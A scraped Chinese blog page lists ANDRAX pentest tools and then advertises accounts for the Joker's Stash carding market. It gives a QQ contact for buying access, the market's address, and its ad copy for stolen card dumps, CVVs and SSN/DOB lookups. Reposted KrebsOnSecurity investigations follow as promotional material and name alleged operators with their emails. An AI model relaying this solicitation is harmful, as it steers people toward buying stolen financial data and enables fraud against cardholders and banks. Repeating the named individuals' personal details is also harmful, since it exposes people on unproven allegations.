Thanks to Warley Gobira (@C0d3Sky)

ANDRAX tools for hacking
ANDRAX tools for hacking
ANDRAX tools for hacking
ANDRAX tools for hacking

Advanced IDE

Complete support for many programming languages

ANDRAX IDE code hacking
ANDRAX IDE code hacking
NDRAX IDE code hacking

Information Gathering 信息收集

Tools for initial informations about the target

Whois

ANDRAX tools for hacking

Bind DNS tools

ANDRAX tools for hacking

Dnsrecon

ANDRAX tools for hacking

Raccoon

ANDRAX tools for hacking

DNS-Cracker

ANDRAX tools for hacking

Firewalk

ANDRAX tools for hacking

Scanning

Tools for second stage: Scanning

Nmap – Network Mapper

ANDRAX tools for hacking

Masscan

ANDRAX tools for hacking

SSLScan

ANDRAX tools for hacking

Amap

ANDRAX tools for hacking

Packet Crafting

Tools to craft network packets

Hping3

ANDRAX tools for hacking

Nping

ANDRAX tools for hacking

Scapy

ANDRAX tools for hacking

Hexinject

ANDRAX tools for hacking

Ncat

ANDRAX tools for hacking

Socat

ANDRAX tools for hacking

Network Hacking

Tools for network hacking

ARPSpoof

ANDRAX tools for hacking

Bettercap

ANDRAX tools for hacking

MITMProxy

ANDRAX tools for hacking

EvilGINX2

ANDRAX tools for hacking

WebSite Hacking

Tools for WebSite and WebApps Hacking

0d1n

ANDRAX tools for hacking

Wapiti3

ANDRAX tools for hacking

Recon-NG

ANDRAX tools for hacking

PHPSploit

ANDRAX tools for hacking

Photon

ANDRAX tools for hacking

XSSer

ANDRAX tools for hacking

Commix

ANDRAX tools for hacking

SQLMap

ANDRAX tools for hacking

Payloadmask

ANDRAX tools for hacking

AbernathY-XSS

ANDRAX tools for hacking

Password Hacking

Tools to break passwords

Hydra

ANDRAX tools for hacking

Ncrack

ANDRAX tools for hacking

John The Ripper

ANDRAX tools for hacking

CRUNCH

ANDRAX tools for hacking

Wireless Hacking

Tools for Wireless Hacking

VMP Evil AP

ANDRAX tools for hacking

Aircrack-NG Tools

ANDRAX tools for hacking

Cowpatty

ANDRAX tools for hacking

MDK3

ANDRAX tools for hacking

Reaver

ANDRAX tools for hacking

Exploitation

Tools for Dev and launch exploits

MetaSploit Framework

ANDRAX tools for hacking

RouterSploit Framework

ANDRAX tools for hacking

Getsploit

ANDRAX tools for hacking

OWASP ZSC

ANDRAX tools for hacking

Rop-TOOL

ANDRAX tools for hacking

The post andrax pentest 高级专业黑客安卓渗透测试工具 appeared first on 🔰雨苁ℒ🔰.

小丑账号 小丑账号注册 小丑网站介绍

$
0
0

小丑账号 小丑账号注册 小丑网站介绍

小丑账号

需要 小丑账号 的联系 雨苁 QQ569743

387个暗网网址

小丑账号

小丑账号 小丑网站网址 http://jstash.bazar

为什么选小丑? 小丑账号

WHY US ?
Millions of fresh fire DUMPS & CVV in stock
- usa/eu/asia/world_mix dumps & cvv stuff -- the largest selection on the market
- fresh high-valid BIG updates every fucking day !
- automatic discount system
Automatic SSN/DOB lookup service
- big fresh base -- any age lookup
- quick real-time search

we have an official threads on these forums also:
om*****.mn (omert*****.onion), c*****.ws (crdclu*****.onion), ve*****.vc (verified*****.onion),
korovka.cc (korovk*****.onion), 
so you can find more feedbacks on these forums if you need

以前从未听过小丑?看下面的4个介绍吧

001 

Carders Park Piles of Cash at Joker’s Stash

A steady stream of card breaches at retailers, restaurants and hotels has flooded underground markets with a historic glut of stolen debit and credit card data. Today there are at least hundreds of sites online selling stolen account data, yet only a handful of them actively court bulk buyers and organized crime rings. Faced with a buyer’s market, these elite shops set themselves apart by focusing on loyalty programs, frequent-buyer discounts, money-back guarantees and just plain old good customer service. 小丑账号

An ad for new stolen cards on Joker's Stash.

An ad for new stolen cards on Joker’s Stash.

Today’s post examines the complex networking and marketing apparatus behind “Joker’s Stash,” a sprawling virtual hub of stolen card data that has served as the distribution point for accounts compromised in many of the retail card breaches first disclosed by KrebsOnSecurity over the past two years, including Hilton Hotels and Bebe Stores.

Since opening for business in early October 2014, Joker’s Stash has attracted dozens of customers who’ve spent five- and six-figures at the carding store. All customers are buying card data that will be turned into counterfeit cards and used to fraudulently purchase gift cards, electronics and other goods at big-box retailers like Target and Wal-Mart.

Unlike so many carding sites that mainly resell cards stolen by other hackers, Joker’s Stash claims that all of its cards are “exclusive, self-hacked dumps.” 小丑账号

“This mean – in our shop you can buy only our own stuff, and our stuff you can buy only in our shop – nowhere else,” Joker’s Stash explained on an introductory post on a carding forum in October 2014.

“Just don’t wanna provide the name of victim right here, and bro, this is only the begin[ning], we already made several other big breaches – a lot of stuff is coming, stay tuned, check the news!” the Joker went on, in response to established forum members who were hazing the new guy. He continued:

“I promise u – in few days u will completely change your mind and will buy only from me. I will add another one absolute virgin fresh new zero-day db with 100%+1 valid rate. Read latest news on http://krebsonsecurity.com/ – this new huge base will be available in few days only at Joker’s Stash.”

As a business, Joker’s Stash made good on its promise. It’s now one of the most bustling carding stores on the Internet, often adding hundreds of thousands of freshly stolen cards for sale each week. 小丑账号

A true offshore pirate’s haven, its home base is a domain name ending in “.sh” Dot-sh is the country code top level domain (ccTLD) assigned to the tiny volcanic, tropical island of Saint Helena, but anyone can register a domain ending in dot-sh. St. Helena is on Greenwich Mean Time (GMT) — the same time zone used by this carding Web site. However, it’s highly unlikely that any part of this fraud operation is in Saint Helena, a remote British territory in the South Atlantic Ocean that has a population of just over 4,000 inhabitants.

This fraud shop includes a built-in discount system for larger orders: 5 percent for customers who spend between $300-$500; 15 percent off for fraudsters spending between $1,000 and $2,500; and 30 percent off for customers who top up their bitcoin balances to the equivalent of $10,000 or more.

For its big-spender “partner” clients, Joker’s Stash assigns three custom domain names to each partner. After those partners log in, the different 3-word domains are displayed at the top of their site dashboard, and the user is encouraged to use only those three custom domains to access the carding shop in the future (see screenshot below). More on these three domains in a moment.

The dashboard for a Joker's Stash customer that has spent over $10,000 buying stolen credit cards from the site.

The dashboard for a Joker’s Stash customer who has spent over $10,000 buying stolen credit cards from the site. Click image to enlarge.

REFUNDS AND CUSTOMER LOYALTY BONUSES 小丑账号

Customers pay for stolen cards using Bitcoin, a virtual currency. All sales are final, although some batches of stolen cards for sale at Joker’s Stash come with a replacement policy — a short window of time from minutes to a few hours, generally — in which buyers can request replacement cards for any that come back as declined during that replacement timeframe.

Like many other carding shops, Joker’s Stash also offers an a-la-carte card-checking option that customers can use an insurance policy when purchasing stolen cards. Such checking services usually rely on multiple legitimate, compromised credit card merchant accounts that can be used to round-robin process a small charge against each card the customer wishes to purchase to test whether the card is still valid. Customers receive an automatic credit to their shopping cart balances for any purchased cards that come back as declined when run through the site’s checking service.

This carding site also employs a unique rating system for clients, supposedly to prevent abuse of the service and to provide what the proprietors of this store call “a loyalty program for honest partners with proven partner’s record.”

Customers with higher ratings get advance notice of new batches of stolen cards coming up for sale, prioritized support requests, as well as additional time to get refunds on cards that came back as “declined”

According to Joker’s Stash administrators, customers with higher ratings get advance notice of new batches of stolen cards coming up for sale, prioritized support requests, as well as additional time to get refunds on cards that came back as “declined” or closed by the issuing bank shortly after purchase.

To determine a customer’s loyalty rating, the system calculates the sum of all customer deposits minus the total refunds requested by the customer.

“So if you have deposited $10,000 USD and refunded items for $3,000 USD then your rating is: 10,000 – 3,000 = 7,000 = 7k [Gold rating – you are the king],” Joker’s Stash explains. “If this is the case then new bases will become available for your purchase earlier than for others thanks to your high rating. It gives you ability to see and buy new updates before other people can do that, as well as some other privileges like prioritized support.” 小丑账号

This user has a stellar 16,000+ rating, because he's deposited more than $20,000 and only requested refunds on $3,500 worth of stolen cards.

This user has a stellar 16,000+ rating, because he’s deposited more than $20,000 and only requested refunds on $3,500 worth of stolen cards. Click image to enlarge.

HIGH ROLLERS 小丑账号

It would appear that Joker’s Stash has attracted a large number of high-dollar customers, and a good many of them qualify for the elite, “full stash” category reserved for clients who’ve deposited more than $10,000 and haven’t asked for more than about 30 percent of those cards to be refunded or replaced. KrebsOnSecurity has identified hundreds of these three-word domains that the card site has assigned to customers. They were mostly all registered across an array of domain registrars over the the past year, and nearly all are (ab)using services from a New Jersey-based cloud hosting firm called Vultr Holdings.

All customers — be they high-roller partners or one-card-at-a-time street thugs — are instructed on how to log in to the site with software that links users to the Tor network. Tor is a free anonymity network that routes its users’ encrypted traffic between multiple hops around the globe to obscure their real location online.

The site’s administrators no doubt very much want all customers to use the Tor version of the site as opposed to domains reachable on the open Internet. Carding site domain names get seized all the time, but it is far harder to discover and seize a site or link hosted on Tor.

What’s more, switching domain names all the time puts carding shop customers in the crosshairs of phishers and other scam artists. While customers are frantically searching for the shop’s updated domain name, fraudsters step in to take advantage of the confusion and to promote counterfeit versions of the site that phish account credentials from unwary criminals.

Nicholas Weaver, a senior researcher in networking and security for the International Computer Science Institute (ICSI), said it looks like the traffic from the three-word domains that Joker’s Stash assigns to each user gets routed through the same Tor hidden servers.

“What he appears to be doing is throwing up an Nginx proxy on each Internet address he’s using to host the domain sets given to users,” Weaver said. “This communicates with his back end server, which is also reachable as one of two Tor hidden services. And both are the same server: If you add to your shopping cart in Tor, it shows up instantly in the clearnet version of the site, and the same with removing cards. So my conclusion is both clearnet and Tornet are the same server on the back end.”

By routing all three-word partner domains through server hidden on Tor, the Joker’s Stash administration seems to understand that many customers can’t be bothered to run Tor and if forced to will just go to a competing site that allows direct access via a regular, non-Tor-based Internet connection.

“My guess is [Joker’s Stash] would like everyone to go to Tor, but they know that Tor is a pain, so they’re using the clearnet because that is what customers demand,” Weaver said.

Interestingly, this setup suggests several serious operational security failures by the Joker’s Stash staff. For example, while Tor encrypts data at every hop in the network, none of the partner traffic from any of the custom three-word domains is encrypted by default on its way to the Tor version of the site. To their credit, the site administrators do urge users to change this default setting by replacing http:// with https:// in front of their private domains.

A web page lists the various ways to reach the carding forum on the clearnet or via Tor. The links have been redacted.

A web page lists the various ways to reach the carding forum on the clearnet or via Tor. The links have been redacted.

I’ll have more on Joker’s Stash in an upcoming post. In the meantime, if you enjoyed this story, check out a deep dive I did last year into “McDumpals,” another credit card fraud bazaar that caters to bulk buyers and focuses heavily on customer service.

002 小丑账号

Breach at Sonic Drive-In May Have Impacted Millions of Credit, Debit Cards

Sonic Drive-In, a fast-food chain with nearly 3,600 locations across 45 U.S. states, has acknowledged a breach affecting an unknown number of store payment systems. The ongoing breach may have led to a fire sale on millions of stolen credit and debit card accounts that are now being peddled in shadowy underground cybercrime stores, KrebsOnSecurity has learned.

sonicdrivein

The first hints of a breach at Oklahoma City-based Sonic came last week when I began hearing from sources at multiple financial institutions who noticed a recent pattern of fraudulent transactions on cards that had all previously been used at Sonic.

I directed several of these banking industry sources to have a look at a brand new batch of some five million credit and debit card accounts that were first put up for sale on Sept. 18 in a credit card theft bazaar previously featured here called Joker’s Stash:

This batch of some five million cards put up for sale Sept. 26, 2017 on the popular carding site Joker's Stash has been tied to a breach at Sonic Drive-In

This batch of some five million cards put up for sale today (Sept. 26, 2017) on the popular carding site Joker’s Stash has been tied to a breach at Sonic Drive-In. The first batch of these cards appear to have been uploaded for sale on Sept. 15.

Sure enough, two sources who agreed to purchase a handful of cards from that batch of accounts on sale at Joker’s discovered they all had been recently used at Sonic locations.

Armed with this information, I phoned Sonic, which responded within an hour that it was indeed investigating “a potential incident” at some Sonic locations.

“Our credit card processor informed us last week of unusual activity regarding credit cards used at SONIC,” reads a statement the company issued to KrebsOnSecurity. “The security of our guests’ information is very important to SONIC. We are working to understand the nature and scope of this issue, as we know how important this is to our guests. We immediately engaged third-party forensic experts and law enforcement when we heard from our processor. While law enforcement limits the information we can share, we will communicate additional information as we are able.”

Christi Woodworth, vice president of public relations at Sonic, said the investigation is still in its early stages, and the company does not yet know how many or which of its stores may be impacted.

The accounts apparently stolen from Sonic are part of a batch of cards that Joker’s Stash is calling “Firetigerrr,” and they are indexed by city, state and ZIP code. This geographic specificity allows potential buyers to purchase only cards that were stolen from Sonic customers who live near them, thus avoiding a common anti-fraud defense in which a financial institution might block out-of-state transactions from a known compromised card.

Malicious hackers typically steal credit card data from organizations that accept cards by hacking into point-of-sale systems remotely and seeding those systems with malicious software that can copy account data stored on a card’s magnetic stripe. Thieves can use that data to clone the cards and then use the counterfeits to buy high-priced merchandise from electronics stores and big box retailers.

Prices for the cards advertised in the Firetigerr batch are somewhat higher than for cards stolen in other breaches, likely because this batch is extremely fresh and unlikely to have been canceled by card-issuing banks yet.

Dumps available for sale on Joker’s Stash from the “FireTigerrr” base, which has been linked to a breach at Sonic Drive-In. Click image to enlarge.

Most of the cards range in price from $25 to $50, and the price is influenced by a number of factors, including: the type of card issued (Amex, Visa, MasterCard, etc); the card’s level (classic, standard, signature, platinum, etc.); whether the card is debit or credit; and the issuing bank.

I should note that it remains unclear whether Sonic is the only company whose customers’ cards are being sold in this particular batch of five million cards at Joker’s Stash. There are some (as yet unconfirmed) indications that perhaps Sonic customer cards are being mixed in with those stolen from other eatery brands that may be compromised by the same attackers.

The last known major card breach involving a large nationwide fast-food chain impacted more than a thousand Wendy’s locations and persisted for almost nine months after it was first disclosed here. The Wendy’s breach was extremely costly for card-issuing banks and credit unions, which were forced to continuously re-issue customer cards that kept getting re-compromised every time their customers went back to eat at another Wendy’s.

Part of the reason Wendy’s corporate offices had trouble getting a handle on the situation was that most of the breached locations were not corporate-owned but instead independently-owned franchises whose payment card systems were managed by third-party point-of-sale vendors.

According to Sonic’s Wikipedia page, roughly 90 percent of Sonic locations across America are franchised.

Dan Berger, president and CEO of the National Association of Federally Insured Credit Unions, said he’s not looking forward to the prospect of another Wendy’s-like fiasco.

“It’s going to be the financial institution that makes them whole, that pays off the charges or replaces money in the customer’s checking account, or reissues the cards, and all those costs fall back on the financial institutions,” Berger said. “These big card breaches are going to continue until there’s a national standard that holds retailers and merchants accountable.”

Financial institutions also bear some of the blame for the current state of affairs. The United States is embarrassingly the last of the G20 nations to make the shift to more secure chip-based cards, which are far more expensive and difficult for criminals to counterfeit. But many financial institutions still haven’t gotten around to replacing traditional magnetic stripe cards with chip-based cards. According to Visa, 58 percent of the more than 421 million Visa cards issued by U.S. financial institutions were chip-based as of March 2017.

Likewise, retailers that accept chip cards may present a less attractive target to hackers than those that don’t. In March 2017, Visa said the number of chip-enabled merchant locations in the country reached two million, representing 44 percent of stores that accept Visa.

003 小丑账号

4 Years After Target, the Little Guy is the Target

Dec. 18 marked the fourth anniversary of this site breaking the news about a breach at Target involving some 40 million customer credit and debit cards. It has been fascinating in the years since that epic intrusion to see how organized cyber thieves have shifted from targeting big box retailers to hacking a broad swath of small to mid-sized merchants.

In many ways, not much has changed: The biggest underground shops that sell stolen cards still index most of their cards by ZIP code. Only, the ZIP code corresponds not to the legitimate cardholder’s billing address but to the address of the hacked store at which the card in question was physically swiped (the reason for this is that buyers of these cards tend to prefer cards used by people who live in their geographic area, as the subsequent fraudulent use of those cards tends to set off fewer alarm bells at the issuing bank).

Last week I was researching a story published here this week on how a steep increase in transaction fees associated with Bitcoin is causing many carding shops to recommend alternate virtual currencies like Litecoin. And I noticed that popular carding store Joker’s Stash had just posted a new batch of cards dubbed “Dynamittte,” which boasted some 7 million cards advertised as “100 percent” valid — meaning the cards were so fresh that even the major credit card issuers probably didn’t yet know which retail or restaurant breach caused this particular breach.

小丑账号

An advertisement for a large new batch of stolen credit card accounts for sale at the Joker’s Stash Dark Web market.

Translation: These stolen cards were far more likely to still be active and useable after fraudsters encode the account numbers onto fake plastic and use the counterfeits to go shopping in big box stores.

I pinged a couple of sources who track when huge new batches of stolen cards hit the market, and both said the test cards they’d purchased from the Joker’s Stash Dynamittte batch mapped back to customers who all had one thing in common: They’d all recently eaten at a Jason’s Deli location.

Jason’s Deli is a fast casual restaurant chain based in Beaumont, Texas, with approximately 266 locations in 28 states. Seeking additional evidence as to the source of the breach, I turned to the Jason’s Deli Web site and scraped the ZIP codes for their various stores across the country. Then I began comparing those ZIPs with the ZIPs tied to this new Dynamittte batch of cards at Joker’s Stash.

Checking my work were the folks at Mindwise.io, a threat intelligence startup in California that monitors Dark Web marketplaces and tries to extract useful information from them. Mindwise found a nearly 100 percent overlap between the ZIP codes on the “Blasttt-US” unit of the Dynamittte cards for sale and the ZIP codes for Jason’s Deli locations. 小丑账号

Reached for comment, Jason’s Deli released the following statement:

“On Friday, Dec. 22, 2017, our company was notified by payment processors – the organizations that manage the electronic connections between Jason’s Deli locations and payment card issuers – that MasterCard security personnel had informed it that a large quantity of payment card information had appeared for sale on the ‘dark web,’ and that an analysis of the data indicated that at least a portion of the data may have come from various Jason’s Deli locations.”

“Jason’s Deli’s management immediately activated our response plan, including engagement of a leading threat response team, involvement of other forensic experts, and cooperation with law enforcement. Among the questions that investigators are working to determine is whether in fact a breach took place, and if so, to determine its scope, the method employed, and whether there is any continuing breach or vulnerability.”

“The investigation is in its early stages and, as is typical in such situations, we expect it will take some time to determine exactly what happened. Jason’s Deli will provide as much information as possible as the inquiry progresses, bearing in mind that security and law enforcement considerations may limit the amount of detail we can provide.”

It’s important to note that the apparent breach at Jason’s Deli almost certainly does not correspond to 7 million cards; typically, carding shop owners will mix cards stolen from multiple breaches into one much larger batch (Dynamittte), and often further subdivide the cards by region (US vs. European cards). 小丑账号

As run-of-the-mill as these card breaches have become, it’s still remarkable even in smaller batches of cards like those apparently stolen from Jason’s Deli customers just how many financial institutions are impacted with each breach.

小丑账号

Banks impacted by the apparent breach at Jason’s Deli, sorted by Bank ID Number (BIN) — i.e. the issuer identified by the first six digits in the card number.

Mindwise said it was comfortable concluding that at least 170,000 of the cards put up for sale this past week on Joker’s Stash map back to Jason’s Deli locations. That may seem like a drop in the bucket compared to the 40 million cards that thieves hauled away from Target four years ago, but the cards stolen from Jason’s Deli customers were issued by more than 250 banks and credit unions, most of which will adopt differing strategies on how to manage fraud on those cards.

In other words, by moving down the food chain to smaller but far more plentiful and probably less secure merchants (either by choice or because the larger stores became a harder target) — and by mixing cards stolen from multiple breaches — the fraudsters have made it less likely that breaches at chain stores will be detected and remediated quickly, thereby prolonging the value and use of the stolen cards put up for sale in underground marketplaces.

All that said, it’s really not worth it to spend time worrying about where your card number may have been breached, since it’s almost always impossible to say for sure and because it’s common for the same card to be breached at multiple establishments during the same time period.

Just remember that although consumers are not liable for fraudulent charges, it may still fall to you the consumer to spot and report any suspicious charges. So keep a close eye on your statements, and consider signing up for text message notifications of new charges if your card issuer offers this service. Most of these services also can be set to alert you if you’re about to miss an upcoming payment, so they can also be handy for avoiding late fees and other costly charges. 小丑账号

Related reading (i.e., other breach stories confirmed with ZIP code analysis):

Breach at Sonic Drive-in May Have Impacted Millions of Credit, Debit Cards

Zip Codes Show Extent of Sally Beauty Breach

Data: Nearly All U.S. Home Depot Stores Hit

Cards Stolen in Target Breach Flood Underground Markets

004

Will the Real Joker’s Stash Come Forward?

For as long as scam artists have been around so too have opportunistic thieves who specialize in ripping off other scam artists. This is the story about a group of Pakistani Web site designers who apparently have made an impressive living impersonating some of the most popular and well known “carding” markets, or online stores that sell stolen credit cards.

小丑账号

An ad for new stolen cards on Joker’s Stash.

One wildly popular carding site that has been featured in-depth at KrebsOnSecurity — Joker’s Stash — brags that the millions of credit and debit card accounts for sale via their service were stolen from merchants firsthand.

That is, the people running Joker’s Stash say they are hacking merchants and directly selling card data stolen from those merchants. Joker’s Stash has been tied to several recent retail breaches, including those at Saks Fifth Avenue, Lord and TaylorBebe StoresHilton HotelsJason’s DeliWhole FoodsChipotle and Sonic. Indeed, with most of these breaches, the first signs that any of the companies were hacked was when their customers’ credit cards started showing up for sale on Joker’s Stash.

Joker’s Stash maintains a presence on several cybercrime forums, and its owners use those forum accounts to remind prospective customers that its Web site — jokerstash[dot]bazar — is the only way in to the marketplace. 小丑账号

The administrators constantly warn buyers to be aware there are many look-alike shops set up to steal logins to the real Joker’s Stash or to make off with any funds deposited with the impostor carding shop as a prerequisite to shopping there.

But that didn’t stop a prominent security researcher (not this author) from recently plunking down $100 in bitcoin at a site he thought was run by Joker’s Stash (jokersstash[dot]su). Instead, the proprietors of the impostor site said the minimum deposit for viewing stolen card data on the marketplace had increased to $200 in bitcoin.

The researcher, who asked not to be named, said he obliged with an additional $100 bitcoin deposit, only to find that his username and password to the card shop no longer worked. He’d been conned by scammers scamming scammers.

As it happens, prior to hearing from this researcher I’d received a mountain of research from Jett Chapman, another security researcher who swore he’d unmasked the real-world identity of the people behind the Joker’s Stash carding empire.

Chapman’s research, detailed in a 57-page report shared with KrebsOnSecurity, pivoted off of public information leading from the same jokersstash[dot]su that ripped off my researcher friend.

“I’ve gone to a few cybercrime forums where people who have used jokersstash[dot]su that were confused about who they really were,” Chapman said. “Many of them left feedback saying they’re scammers who will just ask for money to deposit on the site, and then you’ll never hear from them again.”

But the conclusion of Chapman’s report — that somehow jokersstash[dot]su was related to the real criminals running Joker’s Stash — didn’t ring completely accurate, although it was expertly documented and thoroughly researched. So with Chapman’s blessing, I shared his report with both the researcher who’d been scammed and a law enforcement source who’d been tracking Joker’s Stash.

Both confirmed my suspicions: Chapman had unearthed a vast network of sites registered and set up over several years to impersonate some of the biggest and longest-running criminal credit card theft syndicates on the Internet.

小丑账号 THE REAL JOKER’S STASH

The real Joker’s Stash can only be reached after installing a browser extension known as “blockchain DNS.” This component is needed to access any sites ending in the top-level domain names of .bazar,.bit (Namecoin), .coin, .lib and .emc (Emercoin).

Most Web sites use the global Domain Name System (DNS), which serves as a kind of phone book for the Internet by translating human-friendly Web site names (example.com) into numeric Internet address that are easier for computers to manage.

Regular DNS maps Internet addresses to domains by relying on a series of distributed, hierarchical lookups. If one server does not know how to find a domain, that server simply asks another server for the information. 小丑账号

Blockchain-based DNS systems also disseminate that mapping information in a distributed fashion, although via a peer-to-peer method. The entities that operate blockchain-based top level domains (e.g., .bazar) don’t answer to any one central authority — such as the Internet Corporation for Assigned Names and Numbers (ICANN), which oversees the global DNS and domain name space. This potentially makes these domains much more difficult for law enforcement agencies to take down. 小丑账号

小丑账号

This batch of some five million cards put up for sale Sept. 26, 2017 on the (real) carding site Joker’s Stash has been tied to a breach at Sonic Drive-In

Dark Reading explains further: “When an individual registers a .bit — or another blockchain-based domain — they are able to do so in just a few steps online, and the process costs mere pennies. Domain registration is not associated with an individual’s name or address but with a unique encrypted hash of each user. This essentially creates the same anonymous system as Bitcoin for Internet infrastructure, in which users are only known through their cryptographic identity.”

And cybercriminals have taken notice. According to security firm FireEye, over the last year there’s been a surge in the number of threat actors that have started incorporating support for blockchain domains in their malware tools.

THE FAKE JOKER’S STASH 小丑账号

In contrast, the fake version of Joker’s Stash — jokersstash[dot]su — exists on the clear Web and displays a list of “trusted” Joker’s Stash domains that can be used to get on the impostor marketplace.  These lists are common on the login pages of carding and other cybercrime sites that tend to lose their domains frequently when Internet do-gooders report them to authorities. The daily reminder helps credit card thieves easily find the new domain should the primary domain get seized by law enforcement or the site’s domain registrar.

小丑账号

Jokersstash[dot]su lists mirror sites in case the generic domain becomes inaccessible.

Most of the domains in the image above are hosted on the same Internet address: 190.14.38.6 (Offshore Racks S.A. in Panama). But Chapman found that many of these domains map back to just a handful of email addresses, including domain@paysafehost.comfkaboot@gmail.com, and zanebilly30@gmail.com.Chapman found that adding credit cards to his shopping cart in the fake Joker’s Stash site caused those same cards to show up in his cart when he accessed his account at one of the alternative domains listed in the screenshot above, suggesting that the sites were all connected to the same back-end database. 小丑账号

The email address fkaboot@gmail.com is tied to the name or alias “John Kelly,” as well as 35 domains, according to DomainTools (the full list is here). Most of the sites at those domains borrow names and logos from established credit card fraud sites,  小丑账号including VaultMarketT12ShopBriansClub (which uses the head of yours truly on a moving crab to advertise its stolen cards); and the now defunct cybercrime forum Infraud.

Domaintools says the address domain@paysafehost.com also maps to 35 domains, including look-alike domains for major carding sites BulbaGoldenDumpsValidShopMcDucks, Mr. Bin, Popeye, and the cybercrime forum Omerta.

The address zanebilly30@gmail.com is connected to 36 domains that feature many of the same impersonated criminal brands as the first two lists.

The domain “paysafehost.com” is not responding at the moment, but until very recently it redirected to a site that tried to scam or phish customers seeking to buy stolen credit card data from VaultMarket. It looks more or less the same as the real VaultMarket’s login page, but Chapman noticed that in the bottom right corner of the screen was a Zendesk chat service soliciting customer questions.

Signing up for an account at paysafehost.com (the fake VaultMarket site) revealed a site that looked like VaultMarket but otherwise massively displayed ads for another carding service — isellz[dot]cc (one of the domains registered to domain@paysafehost.com).

小丑账号

This same Zendesk chat service also was embedded in the homepage of jokersstash[dot]su.

小丑账号

And on isellz[dot]cc:

小丑账号

Notice the same Zendesk chat client in the bottom right corner of the Isellz home page.

According to Farsight Security, a company that maps historical connections between Internet addresses and domain names, several other interesting domains used paysafehost[dot]com as their DNS servers, including cvv[dot]kz (CVV stands for the card verification value and it refers to stolen credit card numbers, names and cardholder address that can be used to conduct e-commerce fraud).

All three domains — cvv[dot]kz, and isellz[dot]cc and paysafehost[dot]com list in their Web site registration records the email address xperiasolution@gmail.com, the site xperiasol.com, and the name “Bashir Ahmad.”

XPERIA SOLUTIONS

Searching online for the address xperiasolution@gmail.com turns up a help wanted ad on the Qatar Living Jobs site from October 2017 for a freelance system administrator. The ad was placed by the user “junaidky“, and gives the xperiasolution@gmail.com email address for interested applicants to contact.

Chapman says at this point in his research he noticed that xperiasolution@gmail.com was also used to register the domain xperiasol.info, which for several years was hosted on the same server as a handful of other sites, such as xperiasol.com — the official Web site Xperia Solution (this site also features a Zen desk chat client in the lower right portion of the homepage).

Xperiasol.com’s Web site says the company is a Web site development firm and domain registrar in Islamabad, Pakistan. The site’s “Meet our Team” page states the founder and CEO of the company is a guy named Muhammad Junaid. Another man pictured as Yasir Ali is the company’s project manager. 小丑账号

小丑账号

小丑账号 The top dogs at Xperia Sol.

We’ll come back to both of these two individuals in a moment. Xperiasol.info also is no longer responding, but not long ago the home page showed several open file directories:

小丑账号

Clicking in the projects directory and drilling down into a project dated Feb. 8, 2018 turns up some kind of chatroom application in development. Recall that dozens of the fake carding domains mentioned above were registered to a “John Kelly” at fkaboot@gmail.com. Have a look at the name next to the chatroom application Web site that was archived at xperiasol.info:

小丑账号

Could Yasir Ali, the project manager of Xperiasol, be the same person who registered so many fake carding domains? What else do we know about Mr. Ali? It appears he runs another business called Agile: Institute of Information Technology. Agile’s domain — aiit.com.pk — was registered to Xperia Sol Technologies in 2016 and hosted on the same server.

Who else that we know besides Mr. Ali is listed on Agile’s “Meet the Team” page? Why Mr. Muhammad Junaid, of course, the CEO and founder of Xperia Sol. 小丑账号

小丑账号

Notice the placeholder “lorem ipsum” content. This can be seen throughout the Web sites for Xperia Sol’s “customers.” 小丑账号

Chapman shared pages of documentation showing that most of the “customers testimonials” supposedly from Xperia Sol’s Web design clients appear to be half-finished sites with plenty of broken links and “lorem ipsum” placeholder content (as is the case with the aiit.com.pk Web site pictured above).

Another “valuable client” listed on Xperia Sol’s home page is Softlottery[dot]com(previously softlogin[dot]com). This site appears to be a business that sells Web site design templates, but it lists its address as Sailor suite room V124, DB 91, Someplace 71745 Earth. 小丑账号

小丑账号

Softlottery/Softlogin features a “corporate business” Web site template that includes a slogan from a major carding forum.

Among the “awesome” corporate design templates that Softlottery has for sale is one loosely based on a motto that has shown up on several carding sites: “We are those, who we are: Verified forum, verified people, serious deals.” Probably the most well-known cybercrime forum using that motto is Omerta (recall from above that the Omerta forum is another brand impersonated by this group). 小丑账号

Flower Land, with the Web address flowerlandllc.com is also listed as a happy Xperia Sol customer and is hosted by Xperia Sol. But most of the links on that site are dead. More importantly, the site’s content appears to have been lifted from the Web site of an actual flower care business in Michigan called myflowerland.com.

Zalmi-TV (zalmi.tv) is supposedly a news media partner of Xperia Sol, but again the Xperia-hosted site is half-finished and full of “lorem ipsum” placeholder content.

THE MASTER MIND? 小丑账号

But what about Xperia Sol’s founder, Muhammad Junaid, you ask? Mr. Junaid is known by several aliases, including his stage name, “Masoom Parinda,” a.k.a. “Master Mind). As Chapman unearthed in his research, Junaid has starred in some B-movie action films in Pakistan, and Masoom Parinda is his character’s name.

小丑账号

The fan page for Masoon Parinda, the character played by Muhammad Junaid Ahmed.

Mr. Junaid also goes by the names Junaid Ahmad Khan, and Muhammad Junaid Ahmed. The latter is the one included in a flight itinerary that Junaid posted to his Facebook page in 2014.

There are also some interesting photos of his various cars — all of which have the Masoom Parinda nickname “Master Mind” written on the back window. There is also something else on each car’s rear window: A picture of a black and red scorpion.

小丑账号

小丑账号

小丑账号

Recall the logo that was used at the top of isellz[dot]cc, the main credit card fraud site tied to xperiasolutions@gmail.com. It features a giant black and red scorpion: 小丑账号

小丑账号

小丑账号 The isellz Web site features a scorpion as a logo.

I reached out to Mr. Junaid/Khan via his Facebook page. Soon after that, his Facebook profile disappeared. But not before KrebsOnSecurity managed to get a copy of the page going back several years. Mr. Junaid/Khan is apparently friends with a local man named Bashar Ahmad. Recall that a “Bashar Ahmad” was the name tied to the domain registrations — cvv[dot]kz, and isellz[dot]cc and paysafehost[dot]com — and to the email address xperiasolution@gmail.com.

Mr. Ahmed also has a Facebook page going back more than seven years. In one of those posts, he publishes a picture of a scorpion very similar to the one on isellz[dot]cc and on Mr. Khan’s automobiles. 小丑账号

小丑账号

小丑账号 A screen shot from Bashir Ahmad’s Facebook postings.

At the conclusion of his research, Chapman said he discovered one final and jarring connection between Xperia Sol and the carding site isellz[dot]cc: When isellz customers have trouble using the site, they can submit a support ticket. Where does that support ticket go? Would you believe to xperiasol@gmail.com? Click the image below to enlarge.

小丑账号

小丑账号 The support page of the carding site isellz[dot]cc points to Xperia Sol. Click to enlarge.

It could be that all of this evidence pointing back to Xperia Sol is just a coincidence, or an elaborate character assassination scheme cooked up by one of the company’s competitors. Or perhaps Mr. Junaind/Khan is simply researching a new role as a hacker in an upcoming Pakistani cinematic thriller:小丑账号

小丑账号

小丑账号 Mr. Junaid/Khan, in an online promotion for a movie he stars in about crime.

